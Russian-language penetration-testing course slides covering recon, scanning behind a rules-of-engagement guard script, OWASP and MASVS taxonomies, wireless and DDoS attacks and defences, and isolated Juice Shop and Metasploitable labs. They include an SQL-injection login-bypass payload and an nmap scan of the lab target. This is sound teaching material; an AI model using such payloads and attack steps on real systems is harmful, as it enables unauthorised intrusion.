
FOCA · ExifTool · git-history

Авторы, версии ПО, пути, скрытые ветки и удалённые секреты.

Социальные сети

LinkedIn · Maltego · Sherlock

Карта команды, технологии, опыт сотрудников — основа для социнженерии.

Сервисы

Shodan · Censys · Netlas

Открытые порты, ICS, IoT, забытые тестовые серверы. Tag-based поиск.

Код

GitHub Code Search · TruffleHog

Поиск секретов в публичных репозиториях. Привязанные к домену токены.

Архивы

Wayback Machine · archive.today

Старые версии страниц, забытые эндпоинты, удалённые отладочные API.

Поисковые dorks

Google · Yandex · Bing

Целенаправленные операторы: filetype, inurl, site. Утёкшие документы.

© 2026 Пиков В. А.41 / Модуль 04 · Этап 02
Модуль 04 · Этапы 03 — 04

Сканирование, инвентаризация и анализ уязвимостей

Этап 03 · Сетевое сканирование

Активная разведка выполняется только после подписанного RoE: точные CIDR, порты и rate должны совпасть с проверенным allowlist. Любое расхождение — STOP.

# единый fail-closed guard для nmap и masscan SIGNED_ROE='./signed-roe.txt' AUTHORIZED_CIDR='<CIDR_ИЗ_ПОДПИСАННОГО_RoE>' AUTHORIZED_PORTS='80,443,8080' test -s "$SIGNED_ROE" -a -s roe-allowlist.txt || { echo 'STOP: нет RoE/allowlist'; exit 1; } test "$AUTHORIZED_CIDR" != '<CIDR_ИЗ_ПОДПИСАННОГО_RoE>' || { echo 'STOP: CIDR не задан'; exit 1; } grep -Fx -- "$AUTHORIZED_CIDR $AUTHORIZED_PORTS" roe-allowlist.txt >/dev/null || { echo 'STOP: цель вне allowlist'; exit 1; } # nmap: ограниченные порты, умеренный timing/rate, лёгкое определение версий nmap -sS -sV --version-light -T3 --max-rate 100 -p"$AUTHORIZED_PORTS" "$AUTHORIZED_CIDR" # masscan: та же точная пара CIDR+ports из подписанного RoE masscan --rate 100 -p"$AUTHORIZED_PORTS" "$AUTHORIZED_CIDR"

Этап 04 · Анализ уязвимостей

Сопоставление найденных версий с уязвимостями. Приоритизация по эксплуатируемости.

RU
БДУ ФСТЭК · bdu.fstec.ru — основной источник для отчётности перед регулятором.
USA
CVE Program + NVD · CVE Program публикует идентификаторы и CVE Records, а NVD обогащает записи данными CVSS, CWE и CPE.
KEV
CISA Known Exploited Vulnerabilities — уязвимости с подтверждённой эксплуатацией in-the-wild.
EPSS
EPSS-скор — вероятность эксплуатации в ближайшие 30 дней. Дополняет CVSS.
© 2026 Пиков В. А.42 / Модуль 04 · Этапы 03—04
Модуль 04 · Этапы 05 — 06

Эксплуатация и продвижение по сети

Воспроизводимая, контролируемая, документированная. PoC, а не разрушение.

5.1
Initial access
Эксплойт периметра, фишинг с RoE-разрешением, валидные креды.
5.2
Execution & persistence
Запуск payload и закрепление. Снэпшот состояния.
6.1
Discovery
Что вокруг: пользователи, шары, доверия, сервисы.
6.2
Privilege escalation
Локальная и доменная эскалация. Kerberoasting, AD CS, GPP.
6.3
Lateral movement
SMB, WinRM, RDP. PsExec, WMI, NetExec. Минимум шума.
6.4
Reach target
Доступ к target asset: критичные данные, DC, биллинг.
Документирование

Логи команд, скриншоты, hash-выгрузки, временные метки. Цепочка действий должна быть воспроизводимой.

Что нельзя

Изменять prod-данные, удалять журналы, читать ПДн сверх необходимости, переносить артефакты за пределы лаборатории.

Очистка

Удалить созданные учётки, импланты, scheduled tasks, временные файлы. Передать заказчику список «следов».

© 2026 Пиков В. А.43 / Модуль 04 · Этапы 05—06
Модуль 04 · Этап 07 · Web

Веб-приложения · OWASP Top 10

OWASP Top 10:2025 — awareness-taxonomy, а не полный план пентеста. Процедуры берите из WSTG, требования — из ASVS; для API используйте OWASP API Security Top 10:2023.

A01

Broken Access Control

IDOR, обход проверок, role escalation

A02

Security Misconfiguration

Небезопасные настройки и defaults

A03

Software Supply Chain Failures

Компоненты, сборка, доставка

A04

Cryptographic Failures

Алгоритмы, ключи, хранение

A05

Injection

SQL, NoSQL, OS command

A06

Insecure Design

Архитектура и abuse cases

A07

Authentication Failures

Учётные записи и сессии

A08

Software or Data Integrity Failures

Доверие к коду и данным

A09

Security Logging and Alerting Failures

Сигналы, журналы и реакции

A10

Mishandling of Exceptional Conditions

Fail-open и некорректные состояния

Источники: Top 10 · WSTG · API Top 10:2023.

© 2026 Пиков В. А.44 / Модуль 04 · Этап 07
Модуль 04 · Этап 08 · Mobile

Мобильные приложения · OWASP MASVS

MASVS 2.1 содержит восемь контрольных категорий. Начиная с MASVS 2.0 уровни проверки удалены из стандарта и описываются через MASTG Testing Profiles.

MASVS-STORAGE

Хранение данных

Защищённое хранение креденшалов, токенов, ПДн. Keystore / Keychain.

MASVS-CRYPTO

Криптография

Корректное применение алгоритмов, никаких самопальных схем.

MASVS-AUTH

Аутентификация и сессии

Биометрия, OAuth, обновление токенов, защита от replay.

MASVS-NETWORK

Сетевые взаимодействия

TLS, certificate pinning, защита от MitM на устройстве.

MASVS-PLATFORM

Платформенное взаимодействие

IPC, WebView, deep links, разрешения приложения.

MASVS-CODE

Качество кода

Обработка ошибок, защита от типовых уязвимостей, обновления зависимостей.

MASVS-RESILIENCE

Сопротивляемость анализу

Detection root/jailbreak, обфускация, защита от отладки и hooks.

MASVS-PRIVACY

Приватность

Минимизация, прозрачность, контроль пользователя и предотвращение утечек.

Руководство

OWASP MASTG

Тест-кейсы, привязанные к контролям. Источник: mas.owasp.org/MASVS.

© 2026 Пиков В. А.45 / Модуль 04 · Этап 08
Модуль 04 · Этап 09 · Wireless

Беспроводные сети

Атаки

PSK
WPA2-PSK handshake. Захват 4-way + offline-bruteforce. Эффективно при слабом PSK.
PMKID
PMKID-атака. Не требует клиента; извлекается из EAPOL Message-1.
SAE
WPA3-SAE downgrade / Dragonblood. Принуждение к WPA2-fallback в смешанных сетях.
Rogue AP
Evil Twin. Поддельная точка доступа с тем же SSID. Перехват креденшалов и cookie.
EAP
EAP-misconfig. Отсутствие проверки сертификата сервера в корп. Wi-Fi.

Меры защиты

  • Длинные парольные политики PSK (> 16 символов)
  • WPA3-SAE для гостевой и корп. сети, отключение TKIP
  • 802.1X с EAP-TLS, проверка сертификата сервера
  • WIDS/WIPS: детект Rogue AP, deauth, Karma
  • Сегментация: корпоративный VLAN ≠ guest ≠ IoT
  • Использование MFP (802.11w)
© 2026 Пиков В. А.46 / Модуль 04 · Этап 09
Модуль 04 · Этап 10

Социальная инженерия и физическая безопасность

Фишинг

E-mail кампании

Spear-phishing, BEC, фейковые landing. Метрика — submit rate, а не клики.

Vishing

Звонки

Поддельный звонок «службы ИБ» / «техподдержки». Подмена номера.

Smishing

SMS / мессенджеры

Поддельные оповещения, ссылки на phishing landing pages.

Pretexting

Сценарий-легенда

Подделка под подрядчика, курьера, представителя регулятора.

Физика

Tailgating · USB-drop

Проход за сотрудником, оставленные «забытые» USB в проходных местах.

Согласование

Только с RoE

Все сценарии — только при явном письменном разрешении заказчика и под надзором HR.

© 2026 Пиков В. А.47 / Модуль 04 · Этап 10
Модуль 04 · Этап 11

Анализ систем мониторинга · проверка детекта

Параллельно с пентестом — оценить «было ли видно». Покрытие MITRE ATT&CK по средам и техникам. Heatmap событий в SIEM.

Что проверяем

D1
Логирование действительно включено и течёт в SIEM
D2
Полнота: события безопасности, network flow, EDR-телеметрия
D3
Корреляции и правила покрывают «наши» TTPs
D4
Алерты доходят до аналитика, MTTD < SLA
D5
Runbook'и существуют и применяются (tabletop)

Способ оценки

Сравнение списка реализованных TTPs с тем, что увидел SOC. Visualization — heatmap по ATT&CK Navigator: green / yellow / red.

ReconRDIAExecPersPEDECredDiscLMCollC2ExfilImpact
детект есть частично пробел
© 2026 Пиков В. А.48 / Модуль 04 · Этап 11
Модуль 04 · Этап 12

Документирование результатов

Структура отчёта

01
Executive Summary — для руководства, 1 страница.
02
Методология — PTES + WSTG/MASVS + ссылки на нормативку.
03
Скоуп — точные адреса, окна, исключения, инструменты.
04
Находки — каждая с CVSS, attack path, ATT&CK-привязкой.
05
PoC — воспроизводимые шаги, скриншоты, логи.
06
Рекомендации — приоритизированные, с оценкой трудоёмкости.
07
Приложения — сырые сканы, IOC, рекомендации по мониторингу.

CVSS v4.0: severity ≠ risk

0.0
None
0.1—3.9
Low
4.0—6.9
Medium
7.0—8.9
High
9.0—10.0
Critical

Base: AV, AC, Attack Requirements (AT), PR, UI, VC / VI / VA, SC / SI / SA. Threat: только Exploit Maturity (E).
Приоритет: CVSS + EPSS + KEV + экспозиция, критичность актива и компенсирующие меры.

Приоритет · иллюстративный пример
CVSS →
0% 50% 100% 10 5 0 приоритет: патчить первыми A · KEV B C D
EPSS (вероятность эксплуатации за 30 дней) →

Не реальные CVE. Размер точки — критичность актива. A — в KEV; патчить немедленно. D — низкий приоритет. Источники: CVSS v4.0 · EPSS · CISA KEV.

© 2026 Пиков В. А.49 / Модуль 04 · Этап 12
Модуль 04 · §итог

Контрольные вопросы

01
Перечислите 12 этапов оценки защищённости в порядке выполнения.
02
Какие источники уязвимостей используются на этапе анализа? Чем различаются БДУ ФСТЭК и CISA KEV по назначению?
03
Чем отличаются OWASP Top 10:2025, WSTG, ASVS и OWASP API Security Top 10:2023? Приведите по одному варианту применения.
04
Что такое контроль MASVS-RESILIENCE и в каких случаях он обязателен?
05
Чем PMKID-атака удобнее, чем классический захват WPA2 handshake?
06
Что такое EPSS и как он соотносится с CVSS при приоритизации устранения?
07
Опишите минимально-достаточную структуру отчёта о пентесте.
08
Что должно быть указано в отчёте дополнительно по требованиям российской регуляторики?
© 2026 Пиков В. А.50 / Модуль 04 · §итог
Модуль · Лекция 5 из 5

Угрозы отказа в обслуживании
DoS · DDoS · RDoS

16:50 — 18:20 · 1 ч 30 мин
05
© 2026 Пиков В. А.51 / Модуль 05
Модуль 05 · §1

DoS · DDoS · RDoS — определения

DoS

Denial of Service — отказ в обслуживании из одной точки. Достигается через уязвимость сервиса или одиночный flood с мощного канала.

DDoS

Distributed Denial of Service. Множество атакующих узлов (ботнет / открытые reflector'ы). Принципиально труднее блокируется.

RDoS

Ransom DDoS. Шантаж: «платите или мы устроим DDoS». Часто сопровождается коротким демо-атаком.

demo $$$
© 2026 Пиков В. А.52 / Модуль 05 · §1
Модуль 05 · §2

Классификация по уровням OSI

Уровень атаки определяет, кто способен её отбить: магистраль провайдера, scrubbing-центр или прикладной WAF.

L7
Application
HTTP, HTTPS, DNS, gRPC
HTTP-flood, Slowloris, Slow POST, Rapid Reset
L6
Presentation
TLS, ASN.1
TLS handshake exhaustion
L5
Session
RPC, NetBIOS
Connection exhaustion
L4
Transport
TCP, UDP
SYN-flood, ACK-flood, UDP-flood
L3
Network
IP, ICMP, IGMP
ICMP-flood, Smurf, фрагментация
L2
Data Link
Ethernet, MAC
CAM-table overflow, MAC-flood
L1
Physical
кабель, радиосреда
Jamming, физическое повреждение
© 2026 Пиков В. А.53 / Модуль 05 · §2
Модуль 05 · §3

L3 / L4 атаки

SYN flood

Поток SYN-пакетов без завершения handshake. Исчерпание backlog'а сервера.

UDP flood

Поток UDP-пакетов на произвольные порты. Перегрузка обработчика и линка.

ICMP flood

Поток echo-request. Smurf — амплификация через broadcast.

ACK flood

Пакеты с установленным ACK-флагом. Обход простых stateless-фильтров, проседание stateful-firewall'ов.

Fragmentation

Аномально фрагментированные IP-пакеты. Перегрузка reassembly-буферов.

RST / FIN flood

Имитация резкого разрыва соединений. Шум в state-таблицах.

L3/L4 — задача провайдера и анти-DDoS-сервиса. Защититься на edge нагрузочно и неэффективно.

© 2026 Пиков В. А.54 / Модуль 05 · §3
Модуль 05 · §4

L7 атаки — на уровне приложений

Сложнее обнаружить: пакеты валидны, выглядят как «нормальный» трафик пользователей. Защита — WAF, rate-limit, JS-challenges.

HTTP-flood

GET / POST flood

Большое число валидных HTTP-запросов с динамических IP. Исчерпание back-end ресурсов.

Slowloris

Медленный заголовок

Открытие соединения с минимальной скоростью отправки заголовков. Удержание worker-потоков.

Slow POST

Медленное тело

POST-запрос с большим Content-Length и медленной передачей тела. Аналог Slowloris для body.

DNS

DNS Query Flood

Поток случайных subdomain.target.tld. Перегрузка авторитативного и рекурсивного резолверов.

Особый случай

HTTP/2 Rapid Reset

CVE-2023-44487. Эксплуатация механизма потоков HTTP/2: открытие и немедленный RST_STREAM. Рекордные RPS на одиночных хостах.

API

JSON-bomb · ReDoS

Запросы, заставляющие приложение делать дорогие операции: глубокий JSON, regex с экспоненциальной сложностью.

© 2026 Пиков В. А.55 / Модуль 05 · §4
Модуль 05 · §5

Отражение и амплификация: где возникает нагрузка

Подмена source-IP направляет ответы открытых UDP-сервисов на жертву. Ключевы не «рекордные коэффициенты», а доступность отражателей, packets/s, bytes/s и узкое место инфраструктуры.

Источникspoofed UDPBCP 38 / SAV
ОтражателиDNS · NTP · CLDAPзакрыть recursion / patch
Upstreamбит/с · пакет/сscrubbing · FlowSpec
Edge / Appstate · CPU · queuerate limit · autoscale
Учебный расчёт

bps = response bytes × requests/s × sources × 8

Коэффициент усиления без request rate не даёт пропускную способность. Значения протоколов меняются от реализации и конфигурации; в отчёте всегда фиксируйте источник и дату.

Безопасная практика

PCAP + метрики + tabletop

Классифицировать bottleneck по сохранённым pps/RPS, p95 и error rate; выбрать контакт провайдера, порог и действие. Генераторы flood на занятии не запускаются.

© 2026 Пиков В. А.56 / Модуль 05 · §5
Модуль 05 · §6

Ботнеты IoT

IoT-ботнеты — один из источников DDoS, но не единственный: в телеметрии провайдеров заметны также облачные сети, хостинги и телеком-операторы. Источник трафика устанавливается по данным конкретного инцидента.

Общее

Тренд

Ботнеты растут с экспансией IoT. Атаки становятся короткими, многовекторными, переключаются между жертвами.

Профилактика владельцу IoT

Смена дефолтных паролей, отключение telnet/UPnP, фаервол на ISP-стороне, регулярные обновления прошивок.

© 2026 Пиков В. А.57 / Модуль 05 · §6
Модуль 05 · §7

DDoS 2025 · телеметрия Cloudflare

Срез телеметрии одного поставщика. Это не статистика всего Интернета и не основание напрямую переносить доли на конкретную организацию.

47,1 млн
DDoS-атак автоматически заблокировано за 2025 год
+121%
Год к году в пределах телеметрии Cloudflare
31,4 Тбит/с
Крупнейшая раскрытая атака; продолжительность 35 секунд
205 млн запросов/с
Максимальная раскрытая HTTP-кампания

Рост год к году

Короткая атака завершается раньше ручной эскалации — нужны thresholds и заранее согласованный runbook.

Масштаб крупнейшей атаки квартала

≈10
Гбит/с — ориентировочный аплинк организации
~×3100во сколько раз больше
31 400
Гбит/с — крупнейшая раскрытая атака

Сравнивайте покрытие L3/L4/L7, SLA, capacity и порядок аварийного взаимодействия у поставщика.

Источник: Cloudflare DDoS Threat Report for 2025 Q4. 2024-й — расчётная оценка по темпу роста, не значение из отчёта. Все числа — только вместе с периодом и методологической оговоркой.

© 2026 Пиков В. А.58 / Модуль 05 · §7
Модуль 05 · §8

Меры защиты — эшелонированно

Уровень провайдера

L3/L4 — на магистрали

  • BGP-blackholing
  • Scrubbing-центры провайдера
  • FlowSpec, RTBH
  • Anti-spoofing (BCP38)
Уровень платформы

Anti-DDoS-сервис

  • Always-on / on-demand
  • Глобальная anycast-сеть
  • Поведенческие модели трафика
  • SLA по mitigation
Уровень приложения

L7 — WAF + rate-limit

  • WAF (правила + ML)
  • Rate-limit per IP / per route
  • JS / CAPTCHA challenges
  • Bot management
Уровень процесса

Runbook и тренировки

  • Сценарии эскалации
  • Тренировки с провайдером
  • Коммуникация с пользователями
  • Post-mortem каждой атаки
© 2026 Пиков В. А.59 / Модуль 05 · §8
Модуль 05 · §9

Российские провайдеры защиты от DDoS

Qrator Labs

Anycast-сеть, BGP-фильтрация, L7-защита, отдельные отчёты по индустрии.

Operator · WAF
StormWall

Профильный anti-DDoS, поведенческая защита, своя сеть scrubbing-центров.

Operator
DDoS-Guard

Anti-DDoS, защита веб-приложений, хостинговая защита.

Operator
Selectel

Услуга базовой и расширенной защиты как часть провайдинга и облака.

Cloud
Yandex Cloud

Сервис Smart Web Security, защита публичных сервисов и BalancerL7.

Cloud
VK Cloud

Anti-DDoS и WAF, интеграция с балансировщиками платформы.

Cloud
Ростелеком · «Антифишинг/Анти-DDoS»

Магистральная защита уровня оператора. Для крупных корпоративных контуров.

Telecom
МТС RED · Гарда

Сервисы операторов. Подходит для бизнес-клиентов магистрали.

Telecom

Все упомянутые провайдеры и компании — для образовательной справки, не реклама.

© 2026 Пиков В. А.60 / Модуль 05 · §9
Модуль 05 · §10

Правовая сторона DDoS в РФ

УК РФ ст. 273

Создание, использование и распространение вредоносных программ

Разработка и распространение средств для проведения DDoS-атак (бот-загрузчиков, stresser-сервисов) квалифицируется как создание ВПО.

Санкция: штраф до 200 тыс. ₽, ограничение свободы, лишение свободы до 4 лет (квалифицирующие — до 7).

УК РФ ст. 274.1

Неправомерное воздействие на КИИ РФ

DDoS на значимые объекты КИИ — самостоятельный состав. Включая создание ВПО, заведомо предназначенного для воздействия на КИИ.

Санкция: до 10 лет лишения свободы (ч. 5 — при тяжких последствиях).

Кроме УК — гражданско-правовая ответственность за причинённый ущерб (упущенная выгода, расходы на восстановление). Часто превышает санкции по уголовной статье.

© 2026 Пиков В. А.61 / Модуль 05 · §10
Модуль 05 · §итог

Контрольные вопросы

01
Сформулируйте отличия DoS, DDoS и RDoS. Приведите пример каждого.
02
На каком уровне OSI находятся SYN flood, Slowloris и HTTP/2 Rapid Reset?
03
Какой протокол имеет рекордный коэффициент усиления и какой UDP-порт он использует?
04
Что такое BGP-blackholing и кто его применяет?
05
Назовите минимум четыре отечественных провайдера защиты от DDoS.
06
Чем по составу преступления различаются ст. 273 и ст. 274.1 УК РФ применительно к DDoS?
07
Какие действия должны быть прописаны в runbook'е реагирования на DDoS?
08
Почему «гибридные» атаки сложнее отбить, чем одиночный вектор большой мощности?
© 2026 Пиков В. А.62 / Модуль 05 · §итог
Микропрактика · 15–20 минут

Kali — инструмент. Уязвимая цель — отдельный localhost-стенд

На преподавательском ПК уже есть Kali 2026.1 + nmap 7.98 и проверенный digest-pinned образ OWASP Juice Shop. Интернет, плавающие теги и Metasploit для демонстрации не нужны.

Kali WSL2nmap · curl
Juice Shopbridge без IP masquerading
STOPникаких 8080/8081/8090, LAN и внешних адресов
Контроль допуска: сначала preflight подтверждает Docker Engine ≥28, возможности Compose/config, точные digest, свободный порт и отсутствие объектов проекта. Только затем разрешён bind 127.0.0.1; после занятия обязателен ownership-aware cleanup.
© 2026 Пиков В. А.63 / LAB-01 · Контур разрешения
Преподаватель · Windows PowerShell

Запуск без загрузки из Интернета

# Только штатные wrappers; preflight выполняется до localhost-only claim
& .\pentest\lab\preflight-juice-shop-lab.ps1
& .\pentest\lab\start-juice-shop-lab.ps1

# Доказать границу и доступность
Invoke-WebRequest http://127.0.0.1:3000/ | Select-Object StatusCode
wsl.exe -d kali-linux -u root -- nmap -Pn -sV -p 3000 127.0.0.1
Ожидаем

HTTP 200 · 3000/tcp open

Открытый порт — наблюдение; он ещё не доказывает уязвимость.

Резерв

Запись экрана + скриншоты

При сбое разобрать сохранённые request/response и карточку находки.

Compose · preflight · start64 / LAB-02 · Preflight
Локальная демонстрация · CWE-89 · OWASP A05:2025

Одна гипотеза → минимальное доказательство → остановка

1BaselineAccount → Login; обычная ошибка
2ГипотезаSQL формируется из email
3Локальный PoC' OR true-- + непустой пароль
4STOPроль изменилась — данные не выгружаем
Evidence

POST /rest/user/login

Время, локальный URL, обезличенные request/response и смена контекста.

Исправление

Параметры + authz

Prepared statements, серверная проверка полномочий, generic errors.

Detection

Сигнал без секрета

Неуспешные входы и аномалии; токен и пароль в журнал не писать.

Только http://127.0.0.1:300065 / LAB-03 · Доказали — остановились
Завершение практики

Результат — не «вошли как admin», а исправляемая находка

Наблюдениеlogin принимает управляющую конструкцию
Воспроизведениеминимальные шаги и границы
Влияниеобход аутентификации в учебной цели
Мерапараметризация + authz
RetestPoC отклонён, обычный вход работает
# Wrapper сначала проверяет ownership всех объектов проекта
& .\pentest\lab\stop-juice-shop-lab.ps1
# Обязательный результат: CLEANUP OK
После CLEANUP OK: объекты этого Compose-проекта отсутствуют, порт 3000 не слушает. При ошибке STOP: не удаляйте Docker-объекты вручную и не затрагивайте сервисы на 8080/8081/8090.
Скрипт: lab/stop-juice-shop-lab.ps166 / LAB-04 · Cleanup
Модуль · Практическое занятие

Kali Linux и эксплуатация уязвимости
в учебной лаборатории

Резервная локальная демонстрация · 15–20 минут · только localhost
06
© 2026 Пиков В. А.67 / Модуль 06
Повтор предупреждения · перед практикой

Все действия — только в локальной виртуальной лаборатории

Учебные цели запускаются в Internal Network / Host-only либо привязываются к 127.0.0.1. NAT сам по себе не гарантирует отсутствие выхода: до начала проверить default route, DNS и блокировку egress. Действия вне разрешённого стенда могут образовать состав преступления.

!
Только локальные адреса. 10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12 — внутри лабораторного бриджа.
!
Сетевой режим VM: Internal Network или Host-only; для контейнера — 127.0.0.1 и отдельная bridge-сеть без IP masquerading. Никакого VM bridge в LAN.
!
Снапшоты до старта. Сохраняем checkpoint после установки, чтобы можно было откатиться.
!
Materials — образовательные. Командные шаги и эксплойты предназначены только для обучения в рамках курса.
© 2026 Пиков В. А.68 / Модуль 06 · Предупреждение
Модуль 06 · §1

План практического занятия

10:00

Установка гипервизора

Вариант A: VMware Workstation Pro. Вариант B: VirtualBox + Extension Pack.

10:40

Импорт Kali Linux

Скачивание, проверка SHA-256, импорт VM, первый запуск, обновление, снапшот.

11:30

Установка Metasploitable 2

Подключение мишени в один из сетевых режимов VM, проверка связности.

12:00

Обед · сборка лабораторного стенда

Проверка изоляции: ping/nmap только в Host-only сети.

13:30

Разведка · идентификация · эксплуатация · постэксплуатация

Основной сценарий через Metasploit. CVE-2011-2523 (vsftpd 2.3.4).

16:30

Дополнительный сценарий

Samba usermap_script (CVE-2007-2447). Сравнение двух эксплойтов.

17:30

Меры защиты · отчёт · разбор

Как защититься от эксплуатации, структура отчёта слушателя.

© 2026 Пиков В. А.69 / Модуль 06 · §1
Модуль 06 · §2

Что такое Kali Linux

Образ дистрибутива Kali Linux · скриншот рабочего стола Xfce
(плейсхолдер · 1100×620)
Источник

Официальная страница загрузки: kali.org/get-kali

Debian-based, разработка Offensive Security

Специализированный дистрибутив для пентеста и форензики. Более 600 предустановленных инструментов, документация, обучающие материалы.

Релизы

Rolling release

Постоянное обновление пакетов. Ежеквартальные сборные образы (2026.1, 2026.2…).

Графика

Xfce · GNOME · KDE

Xfce — по умолчанию. Лёгкий, удобен в виртуальной машине.

Архитектуры

x86_64 · ARM · WSL

Полная поддержка Apple Silicon, Raspberry Pi, контейнеры.

Поставка

ISO · VM · WSL · Docker

Для нашей практики используем готовые VM-образы.

© 2026 Пиков В. А.70 / Модуль 06 · §2
Модуль 06 · §3

Откуда скачивать. Проверка целостности

Скриншот kali.org/get-kali · карточки вариантов
Installer · Live · Virtual Machines · ARM · WSL · Cloud
(плейсхолдер · 920×580)
Вариант для практики

Pre-built Virtual Machines

Скачать VM-образ под VMware (.7z с .vmdk) или VirtualBox (.7z с .ova/.vdi). Не требует ручной установки.

Обязательно

Проверить SHA-256

# Linux / macOS sha256sum kali-linux-2026.1-vmware-amd64.7z # Windows PowerShell Get-FileHash -Algorithm SHA256 .\kali-...7z

Сравнить с контрольной суммой, опубликованной на kali.org/get-kali. При несовпадении — НЕ запускать.

© 2026 Пиков В. А.71 / Модуль 06 · §3
Модуль 06 · §4 · Вариант A

VMware Workstation Pro

Шаг 1

Загрузка

Страница загрузки VMware Workstation Pro
support.broadcom.com

С 2024 г. Workstation Pro бесплатна для личного использования. Скачивание — через портал Broadcom (требуется регистрация).

Шаг 2

Первый запуск

Окно «Open / Create a New VM»

Open a Virtual Machine → выбрать .vmx файл из распакованного 7z-архива Kali.

Шаг 3

VM Settings

Окно Virtual Machine Settings
Memory · CPU · Network · USB

Установить: Memory — 4–8 ГБ, CPU — 2–4 ядра, Network — Host-only, USB-controller — отключить.

Шаг 4

Распаковка 7z

# распаковать .7z образа 7z x kali-linux-vmware-amd64.7z cd kali-linux-2026.1-vmware-amd64 ls *.vmx

Из VMware: File → Open → выбрать .vmx.

Шаг 5

Снимок состояния

VM → Snapshot → Take Snapshot

Сделать первый snapshot «clean install» сразу после первого запуска и обновления.

Альтернатива

VMware Fusion (macOS)

Та же процедура. На Apple Silicon — используем ARM-образ Kali. Производительность нативная.

© 2026 Пиков В. А.72 / Модуль 06 · §4
Модуль 06 · §5 · Вариант B

Oracle VirtualBox

Шаг 1

Загрузка

virtualbox.org · Downloads

Скачать VirtualBox под Windows / Linux / macOS. Бесплатно.

Шаг 2

Extension Pack

VirtualBox → Preferences → Extensions

Установить Extension Pack под ту же версию: USB 2/3, VRDP, PXE. Лицензия — PUEL (для домашнего/учебного использования бесплатно).

Шаг 3

Создание ВМ

New VM → Linux / Debian (64-bit)

Имя: «Kali-Lab». Тип: Linux. Версия: Debian (64-bit).

Шаг 4

Выбор существующего .vdi

Hard Disk → Use existing virtual hard disk file

Указать распакованный .vdi Kali. RAM — 4–8 ГБ, CPU — 2–4 ядра.

Шаг 5

Сетевые настройки

Settings → Network → Adapter 1

Adapter 1 — Host-only Adapter. Метасплоитный таргет — тоже на этом адаптере.

Лицензионное

Extension Pack

Распространяется по лицензии PUEL. В коммерческом окружении — нужна отдельная коммерческая лицензия Oracle. Для учебной лаборатории УЦ — допустимо.

© 2026 Пиков В. А.73 / Модуль 06 · §5
Модуль 06 · §6

Сетевые режимы виртуальной машины

Главное в учебной лаборатории — не выпустить трафик за пределы хоста.

Режим 1

NAT

VM выходит в интернет через хост. Изолирована от LAN, но имеет интернет. Подходит для обновления Kali до начала практики.

VM NAT internet
Режим 2 · для практики

Host-only

Изолированная сеть между ВМ и хостом. Нет интернета. Идеально для лаборатории «Kali — Metasploitable».

Kali Target host-only
Режим 3

NAT Network

Несколько ВМ в одной NAT-сети. Подходит для расширенной лаборатории с несколькими целями. Сегмент изолирован от LAN.

NAT NET www
© 2026 Пиков В. А.74 / Модуль 06 · §6
Модуль 06 · §7

Первый запуск Kali. Обновление

Учётные данные по умолчанию

kali / kali

Логин и пароль преднастроенных VM-образов. Первая обязанность — сменить пароль.

Смена пароля
passwd # Текущий пароль: kali # Новый пароль (минимум 12 символов, разные классы)
Обновление
sudo apt update sudo apt full-upgrade -y sudo apt autoremove -y # Обновление займёт 5–20 мин в зависимости от канала.
После обновления

Снимок состояния

VMware: VM → Snapshot → «kali-clean». VirtualBox: Machine → Take Snapshot.

Проверка инструментов
nmap --version msfconsole -v searchsploit --version ip a # адрес VM
Подсказка

Снапшоты делать после каждого крупного шага. Откат — за 10 секунд, переустановка — за полчаса.

© 2026 Пиков В. А.75 / Модуль 06 · §7
Модуль 06 · §8

Установка Metasploitable 2 как учебной мишени

Доверенный источник

Rapid7 → SourceForge

Используйте только ссылку, указанную в официальной документации Rapid7: проект Metasploitable на SourceForge.

Ожидаемый SHA-256 выдаёт производитель или преподаватель по аутентифицированному независимому каналу. Хеш из того же сообщения, что и ZIP, не считается независимой проверкой.

До распаковки

SHA-256 или STOP

$MetasploitableZip = Resolve-Path '.\metasploitable-linux-2.0.0.zip' $ExpectedMetasploitableSha256 = Read-Host 'Ожидаемый SHA-256 из реестра' if ($ExpectedMetasploitableSha256 -notmatch '^[0-9A-Fa-f]{64}$') { throw 'STOP: неверный ожидаемый SHA-256' } $ActualMetasploitableSha256 = (Get-FileHash -LiteralPath $MetasploitableZip -Algorithm SHA256).Hash if ($ActualMetasploitableSha256 -cne $ExpectedMetasploitableSha256.ToUpperInvariant()) { throw 'STOP: SHA-256 не совпал' } Expand-Archive -LiteralPath $MetasploitableZip -DestinationPath '.\Metasploitable2' -Force

Только после успешной проверки откройте .vmx; Network — строго Host-only.

VirtualBox

Создание VM

New → Linux / Other Linux (64-bit) → Use existing virtual hard disk file → Metasploitable.vmdk. Network — Host-only Adapter в той же сети, что и Kali.

Креденшалы

msfadmin / msfadmin

Логин по умолчанию. Запоминать не нужно — атаковать будем удалённо.

Проверка связности
# на Kali: ip a # Найти IP Kali, например 192.168.56.10 ping -c 2 192.168.56.20 # 192.168.56.20 — IP Metasploitable
Важно

Никогда — в production-сеть

Metasploitable 2 — нарочно дырявая VM. В любой реальной сети будет скомпрометирована за минуты.

© 2026 Пиков В. А.76 / Модуль 06 · §8
Модуль 06 · §9

Сценарий практической работы

Структура — те же фазы, что и в реальной работе. Но в полностью изолированной среде.

Шаг 1—3
Разведка
nmap-сканирование 192.168.56.20. Идентификация сервисов и версий.
Шаг 4—6
Идентификация
msfconsole, search по версии vsftpd. Выбор модуля эксплойта.
Шаг 7—8
Эксплуатация
Установка RHOSTS, запуск, получение root-шелла.
Шаг 9—10
Постэксплуатация
Команды id, uname, обсуждение «что нельзя в реальной работе».

Цель занятия — не «взломать Metasploitable». Цель — отработать дисциплину: фиксация шагов, аккуратность, понимание границ.

© 2026 Пиков В. А.77 / Модуль 06 · §9
Модуль 06 · Шаги 1—3

Разведка: Nmap-сканирование

kali@kali:~$ nmap -sV -sC -O -T4 -p- 192.168.56.20 Starting Nmap 7.98 ( https://nmap.org ) Nmap scan report for 192.168.56.20 Host is up (0.00045s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu)) 139/tcp open netbios-ssn Samba smbd 3.X — 4.X 445/tcp open netbios-ssn Samba smbd 3.X — 4.X 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 8009/tcp open ajp13 Apache Jserv Service Info: OSs: Unix, Linux
Что важно

vsftpd 2.3.4

